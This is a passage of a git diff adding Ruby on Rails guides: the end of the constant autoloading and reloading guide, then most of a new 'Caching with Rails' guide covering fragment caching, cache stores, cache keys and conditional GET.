+file is loaded. If the file actually defines `Post` all is fine, otherwise
+`LoadError` is raised.
+
+### Qualified References
+
+When a qualified constant is missing Rails does not look for it in the parent
+namespaces. But there is a caveat: when a constant is missing, Rails is
+unable to tell if the trigger was a relative reference or a qualified one.
+
+For example, consider
+
+```ruby
+module Admin
+  User
+end
+```
+
+and
+
+```ruby
+Admin::User
+```
+
+If `User` is missing, in either case all Rails knows is that a constant called
+"User" was missing in a module called "Admin".
+
+If there is a top-level `User` Ruby would resolve it in the former example, but
+wouldn't in the latter. In general, Rails does not emulate the Ruby constant
+resolution algorithms, but in this case it tries using the following heuristic:
+
+> If none of the parent namespaces of the class or module has the missing
+> constant then Rails assumes the reference is relative. Otherwise qualified.
+
+For example, if this code triggers autoloading
+
+```ruby
+Admin::User
+```
+
+and the `User` constant is already present in `Object`, it is not possible that
+the situation is
+
+```ruby
+module Admin
+  User
+end
+```
+
+because otherwise Ruby would have resolved `User` and no autoloading would have
+been triggered in the first place. Thus, Rails assumes a qualified reference and
+considers the file `admin/user.rb` and directory `admin/user` to be the only
+valid options.
+
+In practice, this works quite well as long as the nesting matches all parent
+namespaces respectively and the constants that make the rule apply are known at
+that time.
+
+However, autoloading happens on demand. If by chance the top-level `User` was
+not yet loaded, then Rails assumes a relative reference by contract.
+
+Naming conflicts of this kind are rare in practice, but if one occurs,
+`require_dependency` provides a solution by ensuring that the constant needed
+to trigger the heuristic is defined in the conflicting place.
+
+### Automatic Modules
+
+When a module acts as a namespace, Rails does not require the application to
+define a file for it, a directory matching the namespace is enough.
+
+Suppose an application has a back office whose controllers are stored in
+`app/controllers/admin`. If the `Admin` module is not yet loaded when
+`Admin::UsersController` is hit, Rails needs first to autoload the constant
+`Admin`.
+
+If `autoload_paths` has a file called `admin.rb` Rails is going to load that
+one, but if there's no such file and a directory called `admin` is found, Rails
+creates an empty module and assigns it to the `Admin` constant on the fly.
+
+### Generic Procedure
+
+Relative references are reported to be missing in the cref where they were hit,
+and qualified references are reported to be missing in their parent (see
+[Resolution Algorithm for Relative
+Constants](#resolution-algorithm-for-relative-constants) at the beginning of
+this guide for the definition of *cref*, and [Resolution Algorithm for Qualified
+Constants](#resolution-algorithm-for-qualified-constants) for the definition of
+*parent*).
+
+The procedure to autoload constant `C` in an arbitrary situation is as follows:
+
+```
+if the class or module in which C is missing is Object
+  let ns = ''
+else
+  let M = the class or module in which C is missing
+
+  if M is anonymous
+    let ns = ''
+  else
+    let ns = M.name
+  end
+end
+
+loop do
+  # Look for a regular file.
+  for dir in autoload_paths
+    if the file "#{dir}/#{ns.underscore}/c.rb" exists
+      load/require "#{dir}/#{ns.underscore}/c.rb"
+
+      if C is now defined
+        return
+      else
+        raise LoadError
+      end
+    end
+  end
+
+  # Look for an automatic module.
+  for dir in autoload_paths
+    if the directory "#{dir}/#{ns.underscore}/c" exists
+      if ns is an empty string
+        let C = Module.new in Object and return
+      else
+        let C = Module.new in ns.constantize and return
+      end
+    end
+  end
+
+  if ns is empty
+    # We reached the top-level without finding the constant.
+    raise NameError
+  else
+    if C exists in any of the parent namespaces
+      # Qualified constants heuristic.
+      raise NameError
+    else
+      # Try again in the parent namespace.
+      let ns = the parent namespace of ns and retry
+    end
+  end
+end
+```
+
+
+require_dependency
+------------------
+
+Constant autoloading is triggered on demand and therefore code that uses a
+certain constant may have it already defined or may trigger an autoload. That
+depends on the execution path and it may vary between runs.
+
+There are times, however, in which you want to make sure a certain constant is
+known when the execution reaches some code. `require_dependency` provides a way
+to load a file using the current [loading mechanism](#loading-mechanism), and
+keeping track of constants defined in that file as if they were autoloaded to
+have them reloaded as needed.
+
+`require_dependency` is rarely needed, but see a couple of use-cases in
+[Autoloading and STI](#autoloading-and-sti) and [When Constants aren't
+Triggered](#when-constants-aren-t-missed).
+
+WARNING. Unlike autoloading, `require_dependency` does not expect the file to
+define any particular constant. Exploiting this behavior would be a bad practice
+though, file and constant paths should match.
+
+
+Constant Reloading
+------------------
+
+When `config.cache_classes` is false Rails is able to reload autoloaded
+constants.
+
+For example, if you're in a console session and edit some file behind the
+scenes, the code can be reloaded with the `reload!` command:
+
+```
+> reload!
+```
+
+When the application runs, code is reloaded when something relevant to this
+logic changes. In order to do that, Rails monitors a number of things:
+
+* `config/routes.rb`.
+
+* Locales.
+
+* Ruby files under `autoload_paths`.
+
+* `db/schema.rb` and `db/structure.sql`.
+
+If anything in there changes, there is a middleware that detects it and reloads
+the code.
+
+Autoloading keeps track of autoloaded constants. Reloading is implemented by
+removing them all from their respective classes and modules using
+`Module#remove_const`. That way, when the code goes on, those constants are
+going to be unknown again, and files reloaded on demand.
+
+INFO. This is an all-or-nothing operation, Rails does not attempt to reload only
+what changed since dependencies between classes makes that really tricky.
+Instead, everything is wiped.
+
+
+Module#autoload isn't Involved
+------------------------------
+
+`Module#autoload` provides a lazy way to load constants that is fully integrated
+with the Ruby constant lookup algorithms, dynamic constant API, etc. It is quite
+transparent.
+
+Rails internals make extensive use of it to defer as much work as possible from
+the boot process. But constant autoloading in Rails is **not** implemented with
+`Module#autoload`.
+
+One possible implementation based on `Module#autoload` would be to walk the
+application tree and issue `autoload` calls that map existing file names to
+their conventional constant name.
+
+There are a number of reasons that prevent Rails from using that implementation.
+
+For example, `Module#autoload` is only capable of loading files using `require`,
+so reloading would not be possible. Not only that, it uses an internal `require`
+which is not `Kernel#require`.
+
+Then, it provides no way to remove declarations in case a file is deleted. If a
+constant gets removed with `Module#remove_const` its `autoload` is not triggered
+again. Also, it doesn't support qualified names, so files with namespaces should
+be interpreted during the walk tree to install their own `autoload` calls, but
+those files could have constant references not yet configured.
+
+An implementation based on `Module#autoload` would be awesome but, as you see,
+at least as of today it is not possible. Constant autoloading in Rails is
+implemented with `Module#const_missing`, and that's why it has its own contract,
+documented in this guide.
+
+
+Common Gotchas
+--------------
+
+### Nesting and Qualified Constants
+
+Let's consider
+
+```ruby
+module Admin
+  class UsersController < ApplicationController
+    def index
+      @users = User.all
+    end
+  end
+end
+```
+
+and
+
+```ruby
+class Admin::UsersController < ApplicationController
+  def index
+    @users = User.all
+  end
+end
+```
+
+To resolve `User` Ruby checks `Admin` in the former case, but it does not in
+the latter because it does not belong to the nesting (see [Nesting](#nesting)
+and [Resolution Algorithms](#resolution-algorithms)).
+
+Unfortunately Rails autoloading does not know the nesting in the spot where the
+constant was missing and so it is not able to act as Ruby would. In particular,
+`Admin::User` will get autoloaded in either case.
+
+Albeit qualified constants with `class` and `module` keywords may technically
+work with autoloading in some cases, it is preferable to use relative constants
+instead:
+
+```ruby
+module Admin
+  class UsersController < ApplicationController
+    def index
+      @users = User.all
+    end
+  end
+end
+```
+
+### Autoloading and STI
+
+Single Table Inheritance (STI) is a feature of Active Record that enables
+storing a hierarchy of models in one single table. The API of such models is
+aware of the hierarchy and encapsulates some common needs. For example, given
+these classes:
+
+```ruby
+# app/models/polygon.rb
+class Polygon < ApplicationRecord
+end
+
+# app/models/triangle.rb
+class Triangle < Polygon
+end
+
+# app/models/rectangle.rb
+class Rectangle < Polygon
+end
+```
+
+`Triangle.create` creates a row that represents a triangle, and
+`Rectangle.create` creates a row that represents a rectangle. If `id` is the
+ID of an existing record, `Polygon.find(id)` returns an object of the correct
+type.
+
+Methods that operate on collections are also aware of the hierarchy. For
+example, `Polygon.all` returns all the records of the table, because all
+rectangles and triangles are polygons. Active Record takes care of returning
+instances of their corresponding class in the result set.
+
+Types are autoloaded as needed. For example, if `Polygon.first` is a rectangle
+and `Rectangle` has not yet been loaded, Active Record autoloads it and the
+record is correctly instantiated.
+
+All good, but if instead of performing queries based on the root class we need
+to work on some subclass, things get interesting.
+
+While working with `Polygon` you do not need to be aware of all its descendants,
+because anything in the table is by definition a polygon, but when working with
+subclasses Active Record needs to be able to enumerate the types it is looking
+for. Let’s see an example.
+
+`Rectangle.all` only loads rectangles by adding a type constraint to the query:
+
+```sql
+SELECT "polygons".* FROM "polygons"
+WHERE "polygons"."type" IN ("Rectangle")
+```
+
+Let’s introduce now a subclass of `Rectangle`:
+
+```ruby
+# app/models/square.rb
+class Square < Rectangle
+end
+```
+
+`Rectangle.all` should now return rectangles **and** squares:
+
+```sql
+SELECT "polygons".* FROM "polygons"
+WHERE "polygons"."type" IN ("Rectangle", "Square")
+```
+
+But there’s a caveat here: How does Active Record know that the class `Square`
+exists at all?
+
+Even if the file `app/models/square.rb` exists and defines the `Square` class,
+if no code yet used that class, `Rectangle.all` issues the query
+
+```sql
+SELECT "polygons".* FROM "polygons"
+WHERE "polygons"."type" IN ("Rectangle")
+```
+
+That is not a bug, the query includes all *known* descendants of `Rectangle`.
+
+A way to ensure this works correctly regardless of the order of execution is to
+manually load the direct subclasses at the bottom of the file that defines each
+intermediate class:
+
+```ruby
+# app/models/rectangle.rb
+class Rectangle < Polygon
+end
+require_dependency 'square'
+```
+
+This needs to happen for every intermediate (non-root and non-leaf) class. The
+root class does not scope the query by type, and therefore does not necessarily
+have to know all its descendants.
+
+### Autoloading and `require`
+
+Files defining constants to be autoloaded should never be `require`d:
+
+```ruby
+require 'user' # DO NOT DO THIS
+
+class UsersController < ApplicationController
+  ...
+end
+```
+
+There are two possible gotchas here in development mode:
+
+1. If `User` is autoloaded before reaching the `require`, `app/models/user.rb`
+runs again because `load` does not update `$LOADED_FEATURES`.
+
+2. If the `require` runs first Rails does not mark `User` as an autoloaded
+constant and changes to `app/models/user.rb` aren't reloaded.
+
+Just follow the flow and use constant autoloading always, never mix
+autoloading and `require`. As a last resort, if some file absolutely needs to
+load a certain file use `require_dependency` to play nice with constant
+autoloading. This option is rarely needed in practice, though.
+
+Of course, using `require` in autoloaded files to load ordinary 3rd party
+libraries is fine, and Rails is able to distinguish their constants, they are
+not marked as autoloaded.
+
+### Autoloading and Initializers
+
+Consider this assignment in `config/initializers/set_auth_service.rb`:
+
+```ruby
+AUTH_SERVICE = if Rails.env.production?
+  RealAuthService
+else
+  MockedAuthService
+end
+```
+
+The purpose of this setup would be that the application uses the class that
+corresponds to the environment via `AUTH_SERVICE`. In development mode
+`MockedAuthService` gets autoloaded when the initializer runs. Let’s suppose
+we do some requests, change its implementation, and hit the application again.
+To our surprise the changes are not reflected. Why?
+
+As [we saw earlier](#constant-reloading), Rails removes autoloaded constants,
+but `AUTH_SERVICE` stores the original class object. Stale, non-reachable
+using the original constant, but perfectly functional.
+
+The following code summarizes the situation:
+
+```ruby
+class C
+  def quack
+    'quack!'
+  end
+end
+
+X = C
+Object.instance_eval { remove_const(:C) }
+X.new.quack # => quack!
+X.name      # => C
+C           # => uninitialized constant C (NameError)
+```
+
+Because of that, it is not a good idea to autoload constants on application
+initialization.
+
+In the case above we could implement a dynamic access point:
+
+```ruby
+# app/models/auth_service.rb
+class AuthService
+  if Rails.env.production?
+    def self.instance
+      RealAuthService
+    end
+  else
+    def self.instance
+      MockedAuthService
+    end
+  end
+end
+```
+
+and have the application use `AuthService.instance` instead. `AuthService`
+would be loaded on demand and be autoload-friendly.
+
+### `require_dependency` and Initializers
+
+As we saw before, `require_dependency` loads files in an autoloading-friendly
+way. Normally, though, such a call does not make sense in an initializer.
+
+One could think about doing some [`require_dependency`](#require-dependency)
+calls in an initializer to make sure certain constants are loaded upfront, for
+example as an attempt to address the [gotcha with STIs](#autoloading-and-sti).
+
+Problem is, in development mode [autoloaded constants are wiped](#constant-reloading)
+if there is any relevant change in the file system. If that happens then
+we are in the very same situation the initializer wanted to avoid!
+
+Calls to `require_dependency` have to be strategically written in autoloaded
+spots.
+
+### When Constants aren't Missed
+
+#### Relative References
+
+Let's consider a flight simulator. The application has a default flight model
+
+```ruby
+# app/models/flight_model.rb
+class FlightModel
+end
+```
+
+that can be overridden by each airplane, for instance
+
+```ruby
+# app/models/bell_x1/flight_model.rb
+module BellX1
+  class FlightModel < FlightModel
+  end
+end
+
+# app/models/bell_x1/aircraft.rb
+module BellX1
+  class Aircraft
+    def initialize
+      @flight_model = FlightModel.new
+    end
+  end
+end
+```
+
+The initializer wants to create a `BellX1::FlightModel` and nesting has
+`BellX1`, that looks good. But if the default flight model is loaded and the
+one for the Bell-X1 is not, the interpreter is able to resolve the top-level
+`FlightModel` and autoloading is thus not triggered for `BellX1::FlightModel`.
+
+That code depends on the execution path.
+
+These kind of ambiguities can often be resolved using qualified constants:
+
+```ruby
+module BellX1
+  class Plane
+    def flight_model
+      @flight_model ||= BellX1::FlightModel.new
+    end
+  end
+end
+```
+
+Also, `require_dependency` is a solution:
+
+```ruby
+require_dependency 'bell_x1/flight_model'
+
+module BellX1
+  class Plane
+    def flight_model
+      @flight_model ||= FlightModel.new
+    end
+  end
+end
+```
+
+#### Qualified References
+
+Given
+
+```ruby
+# app/models/hotel.rb
+class Hotel
+end
+
+# app/models/image.rb
+class Image
+end
+
+# app/models/hotel/image.rb
+class Hotel
+  class Image < Image
+  end
+end
+```
+
+the expression `Hotel::Image` is ambiguous because it depends on the execution
+path.
+
+As [we saw before](#resolution-algorithm-for-qualified-constants), Ruby looks
+up the constant in `Hotel` and its ancestors. If `app/models/image.rb` has
+been loaded but `app/models/hotel/image.rb` hasn't, Ruby does not find `Image`
+in `Hotel`, but it does in `Object`:
+
+```
+$ bin/rails r 'Image; p Hotel::Image' 2>/dev/null
+Image # NOT Hotel::Image!
+```
+
+The code evaluating `Hotel::Image` needs to make sure
+`app/models/hotel/image.rb` has been loaded, possibly with
+`require_dependency`.
+
+In these cases the interpreter issues a warning though:
+
+```
+warning: toplevel constant Image referenced by Hotel::Image
+```
+
+This surprising constant resolution can be observed with any qualifying class:
+
+```
+2.1.5 :001 > String::Array
+(irb):1: warning: toplevel constant Array referenced by String::Array
+ => Array
+```
+
+WARNING. To find this gotcha the qualifying namespace has to be a class,
+`Object` is not an ancestor of modules.
+
+### Autoloading within Singleton Classes
+
+Let's suppose we have these class definitions:
+
+```ruby
+# app/models/hotel/services.rb
+module Hotel
+  class Services
+  end
+end
+
+# app/models/hotel/geo_location.rb
+module Hotel
+  class GeoLocation
+    class << self
+      Services
+    end
+  end
+end
+```
+
+If `Hotel::Services` is known by the time `app/models/hotel/geo_location.rb`
+is being loaded, `Services` is resolved by Ruby because `Hotel` belongs to the
+nesting when the singleton class of `Hotel::GeoLocation` is opened.
+
+But if `Hotel::Services` is not known, Rails is not able to autoload it, the
+application raises `NameError`.
+
+The reason is that autoloading is triggered for the singleton class, which is
+anonymous, and as [we saw before](#generic-procedure), Rails only checks the
+top-level namespace in that edge case.
+
+An easy solution to this caveat is to qualify the constant:
+
+```ruby
+module Hotel
+  class GeoLocation
+    class << self
+      Hotel::Services
+    end
+  end
+end
+```
+
+### Autoloading in `BasicObject`
+
+Direct descendants of `BasicObject` do not have `Object` among their ancestors
+and cannot resolve top-level constants:
+
+```ruby
+class C < BasicObject
+  String # NameError: uninitialized constant C::String
+end
+```
+
+When autoloading is involved that plot has a twist. Let's consider:
+
+```ruby
+class C < BasicObject
+  def user
+    User # WRONG
+  end
+end
+```
+
+Since Rails checks the top-level namespace `User` gets autoloaded just fine the
+first time the `user` method is invoked. You only get the exception if the
+`User` constant is known at that point, in particular in a *second* call to
+`user`:
+
+```ruby
+c = C.new
+c.user # surprisingly fine, User
+c.user # NameError: uninitialized constant C::User
+```
+
+because it detects that a parent namespace already has the constant (see [Qualified
+References](#autoloading-algorithms-qualified-references)).
+
+As with pure Ruby, within the body of a direct descendant of `BasicObject` use
+always absolute constant paths:
+
+```ruby
+class C < BasicObject
+  ::String # RIGHT
+
+  def user
+    ::User # RIGHT
+  end
+end
+```
diff --git a/guides/source/caching_with_rails.md b/guides/source/caching_with_rails.md
new file mode 100644
index 0000000000..6cdce5c2f4
--- /dev/null
+++ b/guides/source/caching_with_rails.md
@@ -0,0 +1,597 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Caching with Rails: An Overview
+===============================
+
+This guide is an introduction to speeding up your Rails application with caching.
+
+Caching means to store content generated during the request-response cycle and
+to reuse it when responding to similar requests.
+
+Caching is often the most effective way to boost an application's performance.
+Through caching, web sites running on a single server with a single database
+can sustain a load of thousands of concurrent users.
+
+Rails provides a set of caching features out of the box. This guide will teach
+you the scope and purpose of each one of them. Master these techniques and your
+Rails applications can serve millions of views without exorbitant response times
+or server bills.
+
+After reading this guide, you will know:
+
+* Fragment and Russian doll caching.
+* How to manage the caching dependencies.
+* Alternative cache stores.
+* Conditional GET support.
+
+--------------------------------------------------------------------------------
+
+Basic Caching
+-------------
+
+This is an introduction to three types of caching techniques: page, action and
+fragment caching. By default Rails provides fragment caching. In order to use
+page and action caching you will need to add `actionpack-page_caching` and
+`actionpack-action_caching` to your Gemfile.
+
+By default, caching is only enabled in your production environment. To play
+around with caching locally you'll want to enable caching in your local
+environment by setting `config.action_controller.perform_caching` to `true` in
+the relevant `config/environments/*.rb` file:
+
+```ruby
+config.action_controller.perform_caching = true
+```
+
+NOTE: Changing the value of `config.action_controller.perform_caching` will
+only have an effect on the caching provided by the Action Controller component.
+For instance, it will not impact low-level caching, that we address
+[below](#low-level-caching).
+
+### Page Caching
+
+Page caching is a Rails mechanism which allows the request for a generated page
+to be fulfilled by the webserver (i.e. Apache or NGINX) without having to go
+through the entire Rails stack. While this is super fast it can't be applied to
+every situation (such as pages that need authentication). Also, because the
+webserver is serving a file directly from the filesystem you will need to
+implement cache expiration.
+
+INFO: Page Caching has been removed from Rails 4. See the [actionpack-page_caching gem](https://github.com/rails/actionpack-page_caching).
+
+### Action Caching
+
+Page Caching cannot be used for actions that have before filters - for example, pages that require authentication. This is where Action Caching comes in. Action Caching works like Page Caching except the incoming web request hits the Rails stack so that before filters can be run on it before the cache is served. This allows authentication and other restrictions to be run while still serving the result of the output from a cached copy.
+
+INFO: Action Caching has been removed from Rails 4. See the [actionpack-action_caching gem](https://github.com/rails/actionpack-action_caching). See [DHH's key-based cache expiration overview](http://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works) for the newly-preferred method.
+
+### Fragment Caching
+
+Dynamic web applications usually build pages with a variety of components not
+all of which have the same caching characteristics. When different parts of the
+page need to be cached and expired separately you can use Fragment Caching.
+
+Fragment Caching allows a fragment of view logic to be wrapped in a cache block and served out of the cache store when the next request comes in.
+
+For example, if you wanted to cache each product on a page, you could use this
+code:
+
+```html+erb
+<% @products.each do |product| %>
+  <% cache product do %>
+    <%= render product %>
+  <% end %>
+<% end %>
+```
+
+When your application receives its first request to this page, Rails will write
+a new cache entry with a unique key. A key looks something like this:
+
+```
+views/products/1-201505056193031061005000/bea67108094918eeba42cd4a6e786901
+```
+
+The number in the middle is the `product_id` followed by the timestamp value in
+the `updated_at` attribute of the product record. Rails uses the timestamp value
+to make sure it is not serving stale data. If the value of `updated_at` has
+changed, a new key will be generated. Then Rails will write a new cache to that
+key, and the old cache written to the old key will never be used again. This is
+called key-based expiration.
+
+Cache fragments will also be expired when the view fragment changes (e.g., the
+HTML in the view changes). The string of characters at the end of the key is a
+template tree digest. It is an MD5 hash computed based on the contents of the
+view fragment you are caching. If you change the view fragment, the MD5 hash
+will change, expiring the existing file.
+
+TIP: Cache stores like Memcached will automatically delete old cache files.
+
+If you want to cache a fragment under certain conditions, you can use
+`cache_if` or `cache_unless`:
+
+```erb
+<% cache_if admin?, product do %>
+  <%= render product %>
+<% end %>
+```
+
+#### Collection caching
+
+The `render` helper can also cache individual templates rendered for a collection.
+It can even one up the previous example with `each` by reading all cache
+templates at once instead of one by one. This is done by passing `cached: true` when rendering the collection:
+
+```html+erb
+<%= render partial: 'products/product', collection: @products, cached: true %>
+```
+
+All cached templates from previous renders will be fetched at once with much
+greater speed. Additionally, the templates that haven't yet been cached will be
+written to cache and multi fetched on the next render.
+
+
+### Russian Doll Caching
+
+You may want to nest cached fragments inside other cached fragments. This is
+called Russian doll caching.
+
+The advantage of Russian doll caching is that if a single product is updated,
+all the other inner fragments can be reused when regenerating the outer
+fragment.
+
+As explained in the previous section, a cached file will expire if the value of
+`updated_at` changes for a record on which the cached file directly depends.
+However, this will not expire any cache the fragment is nested within.
+
+For example, take the following view:
+
+```erb
+<% cache product do %>
+  <%= render product.games %>
+<% end %>
+```
+
+Which in turn renders this view:
+
+```erb
+<% cache game do %>
+  <%= render game %>
+<% end %>
+```
+
+If any attribute of game is changed, the `updated_at` value will be set to the
+current time, thereby expiring the cache. However, because `updated_at`
+will not be changed for the product object, that cache will not be expired and
+your app will serve stale data. To fix this, we tie the models together with
+the `touch` method:
+
+```ruby
+class Product < ApplicationRecord
+  has_many :games
+end
+
+class Game < ApplicationRecord
+  belongs_to :product, touch: true
+end
+```
+
+With `touch` set to true, any action which changes `updated_at` for a game
+record will also change it for the associated product, thereby expiring the
+cache.
+
+### Managing dependencies
+
+In order to correctly invalidate the cache, you need to properly define the
+caching dependencies. Rails is clever enough to handle common cases so you don't
+have to specify anything. However, sometimes, when you're dealing with custom
+helpers for instance, you need to explicitly define them.
+
+#### Implicit dependencies
+
+Most template dependencies can be derived from calls to `render` in the template
+itself. Here are some examples of render calls that `ActionView::Digestor` knows
+how to decode:
+
+```ruby
+render partial: "comments/comment", collection: commentable.comments
+render "comments/comments"
+render 'comments/comments'
+render('comments/comments')
+
+render "header" translates to render("comments/header")
+
+render(@topic)         translates to render("topics/topic")
+render(topics)         translates to render("topics/topic")
+render(message.topics) translates to render("topics/topic")
+```
+
+On the other hand, some calls need to be changed to make caching work properly.
+For instance, if you're passing a custom collection, you'll need to change:
+
+```ruby
+render @project.documents.where(published: true)
+```
+
+to:
+
+```ruby
+render partial: "documents/document", collection: @project.documents.where(published: true)
+```
+
+#### Explicit dependencies
+
+Sometimes you'll have template dependencies that can't be derived at all. This
+is typically the case when rendering happens in helpers. Here's an example:
+
+```html+erb
+<%= render_sortable_todolists @project.todolists %>
+```
+
+You'll need to use a special comment format to call those out:
+
+```html+erb
+<%# Template Dependency: todolists/todolist %>
+<%= render_sortable_todolists @project.todolists %>
+```
+
+In some cases, like a single table inheritance setup, you might have a bunch of
+explicit dependencies. Instead of writing every template out, you can use a
+wildcard to match any template in a directory:
+
+```html+erb
+<%# Template Dependency: events/* %>
+<%= render_categorizable_events @person.events %>
+```
+
+As for collection caching, if the partial template doesn't start with a clean
+cache call, you can still benefit from collection caching by adding a special
+comment format anywhere in the template, like:
+
+```html+erb
+<%# Template Collection: notification %>
+<% my_helper_that_calls_cache(some_arg, notification) do %>
+  <%= notification.name %>
+<% end %>
+```
+
+#### External dependencies
+
+If you use a helper method, for example, inside a cached block and you then update
+that helper, you'll have to bump the cache as well. It doesn't really matter how
+you do it, but the MD5 of the template file must change. One recommendation is to
+simply be explicit in a comment, like:
+
+```html+erb
+<%# Helper Dependency Updated: Jul 28, 2015 at 7pm %>
+<%= some_helper_method(person) %>
+```
+
+### Low-Level Caching
+
+Sometimes you need to cache a particular value or query result instead of caching view fragments. Rails' caching mechanism works great for storing __any__ kind of information.
+
+The most efficient way to implement low-level caching is using the `Rails.cache.fetch` method. This method does both reading and writing to the cache. When passed only a single argument, the key is fetched and value from the cache is returned. If a block is passed, that block will be executed in the event of a cache miss. The return value of the block will be written to the cache under the given cache key, and that return value will be returned. In case of cache hit, the cached value will be returned without executing the block.
+
+Consider the following example. An application has a `Product` model with an instance method that looks up the product’s price on a competing website. The data returned by this method would be perfect for low-level caching:
+
+```ruby
+class Product < ApplicationRecord
+  def competing_price
+    Rails.cache.fetch("#{cache_key}/competing_price", expires_in: 12.hours) do
+      Competitor::API.find_price(id)
+    end
+  end
+end
+```
+
+NOTE: Notice that in this example we used the `cache_key` method, so the resulting cache-key will be something like `products/233-20140225082222765838000/competing_price`. `cache_key` generates a string based on the model’s `id` and `updated_at` attributes. This is a common convention and has the benefit of invalidating the cache whenever the product is updated. In general, when you use low-level caching for instance level information, you need to generate a cache key.
+
+### SQL Caching
+
+Query caching is a Rails feature that caches the result set returned by each
+query. If Rails encounters the same query again for that request, it will use
+the cached result set as opposed to running the query against the database
+again.
+
+For example:
+
+```ruby
+class ProductsController < ApplicationController
+
+  def index
+    # Run a find query
+    @products = Product.all
+
+    ...
+
+    # Run the same query again
+    @products = Product.all
+  end
+
+end
+```
+
+The second time the same query is run against the database, it's not actually going to hit the database. The first time the result is returned from the query it is stored in the query cache (in memory) and the second time it's pulled from memory.
+
+However, it's important to note that query caches are created at the start of
+an action and destroyed at the end of that action and thus persist only for the
+duration of the action. If you'd like to store query results in a more
+persistent fashion, you can with low level caching.
+
+Cache Stores
+------------
+
+Rails provides different stores for the cached data (apart from SQL and page
+caching).
+
+### Configuration
+
+You can set up your application's default cache store by setting the
+`config.cache_store` configuration option. Other parameters can be passed as
+arguments to the cache store's constructor:
+
+```ruby
+config.cache_store = :memory_store, { size: 64.megabytes }
+```
+
+NOTE: Alternatively, you can call `ActionController::Base.cache_store` outside of a configuration block.
+
+You can access the cache by calling `Rails.cache`.
+
+### ActiveSupport::Cache::Store
+
+This class provides the foundation for interacting with the cache in Rails. This is an abstract class and you cannot use it on its own. Rather you must use a concrete implementation of the class tied to a storage engine. Rails ships with several implementations documented below.
+
+The main methods to call are `read`, `write`, `delete`, `exist?`, and `fetch`. The fetch method takes a block and will either return an existing value from the cache, or evaluate the block and write the result to the cache if no value exists.
+
+There are some common options used by all cache implementations. These can be passed to the constructor or the various methods to interact with entries.
+
+* `:namespace` - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications.
+
+* `:compress` - This option can be used to indicate that compression should be used in the cache. This can be useful for transferring large cache entries over a slow network.
+
+* `:compress_threshold` - This option is used in conjunction with the `:compress` option to indicate a threshold under which cache entries should not be compressed. This defaults to 16 kilobytes.
+
+* `:expires_in` - This option sets an expiration time in seconds for the cache entry when it will be automatically removed from the cache.
+
+* `:race_condition_ttl` - This option is used in conjunction with the `:expires_in` option. It will prevent race conditions when cache entries expire by preventing multiple processes from simultaneously regenerating the same entry (also known as the dog pile effect). This option sets the number of seconds that an expired entry can be reused while a new value is being regenerated. It's a good practice to set this value if you use the `:expires_in` option.
+
+#### Custom Cache Stores
+
+You can create your own custom cache store by simply extending
+`ActiveSupport::Cache::Store` and implementing the appropriate methods. This way,
+you can swap in any number of caching technologies into your Rails application.
+
+To use a custom cache store, simply set the cache store to a new instance of your
+custom class.
+
+```ruby
+config.cache_store = MyCacheStore.new
+```
+
+### ActiveSupport::Cache::MemoryStore
+
+This cache store keeps entries in memory in the same Ruby process. The cache
+store has a bounded size specified by sending the `:size` option to the
+initializer (default is 32Mb). When the cache exceeds the allotted size, a
+cleanup will occur and the least recently used entries will be removed.
+
+```ruby
+config.cache_store = :memory_store, { size: 64.megabytes }
+```
+
+If you're running multiple Ruby on Rails server processes (which is the case
+if you're using Phusion Passenger or puma clustered mode), then your Rails server
+process instances won't be able to share cache data with each other. This cache
+store is not appropriate for large application deployments. However, it can
+work well for small, low traffic sites with only a couple of server processes,
+as well as development and test environments.
+
+New Rails projects are configured to use this implementation in development environment by default. 
+
+NOTE: Since processes will not share cache data when using `:memory_store`, 
+it will not be possible to manually read, write or expire the cache via the Rails console.
+
+### ActiveSupport::Cache::FileStore
+
+This cache store uses the file system to store entries. The path to the directory where the store files will be stored must be specified when initializing the cache.
+
+```ruby
+config.cache_store = :file_store, "/path/to/cache/directory"
+```
+
+With this cache store, multiple server processes on the same host can share a
+cache. This cache store is appropriate for low to medium traffic sites that are
+served off one or two hosts. Server processes running on different hosts could
+share a cache by using a shared file system, but that setup is not recommended.
+
+As the cache will grow until the disk is full, it is recommended to
+periodically clear out old entries.
+
+This is the default cache store implementation (at `"#{root}/tmp/cache/"`) if
+no explicit `config.cache_store` is supplied.
+
+### ActiveSupport::Cache::MemCacheStore
+
+This cache store uses Danga's `memcached` server to provide a centralized cache for your application. Rails uses the bundled `dalli` gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very high performance and redundancy.
+
+When initializing the cache, you need to specify the addresses for all
+memcached servers in your cluster. If none are specified, it will assume
+memcached is running on localhost on the default port, but this is not an ideal
+setup for larger sites.
+
+The `write` and `fetch` methods on this cache accept two additional options that take advantage of features specific to memcached. You can specify `:raw` to send a value directly to the server with no serialization. The value must be a string or number. You can use memcached direct operations like `increment` and `decrement` only on raw values. You can also specify `:unless_exist` if you don't want memcached to overwrite an existing entry.
+
+```ruby
+config.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com"
+```
+
+### ActiveSupport::Cache::NullStore
+
+This cache store implementation is meant to be used only in development or test environments and it never stores anything. This can be very useful in development when you have code that interacts directly with `Rails.cache` but caching may interfere with being able to see the results of code changes. With this cache store, all `fetch` and `read` operations will result in a miss.
+
+```ruby
+config.cache_store = :null_store
+```
+
+Cache Keys
+----------
+
+The keys used in a cache can be any object that responds to either `cache_key` or
+`to_param`. You can implement the `cache_key` method on your classes if you need
+to generate custom keys. Active Record will generate keys based on the class name
+and record id.
+
+You can use Hashes and Arrays of values as cache keys.
+
+```ruby
+# This is a legal cache key
+Rails.cache.read(site: "mysite", owners: [owner_1, owner_2])
+```
+
+The keys you use on `Rails.cache` will not be the same as those actually used with
+the storage engine. They may be modified with a namespace or altered to fit
+technology backend constraints. This means, for instance, that you can't save
+values with `Rails.cache` and then try to pull them out with the `dalli` gem.
+However, you also don't need to worry about exceeding the memcached size limit or
+violating syntax rules.
+
+Conditional GET support
+-----------------------
+
+Conditional GETs are a feature of the HTTP specification that provide a way for web servers to tell browsers that the response to a GET request hasn't changed since the last request and can be safely pulled from the browser cache.
+
+They work by using the `HTTP_IF_NONE_MATCH` and `HTTP_IF_MODIFIED_SINCE` headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server's version then the server only needs to send back an empty response with a not modified status.
+
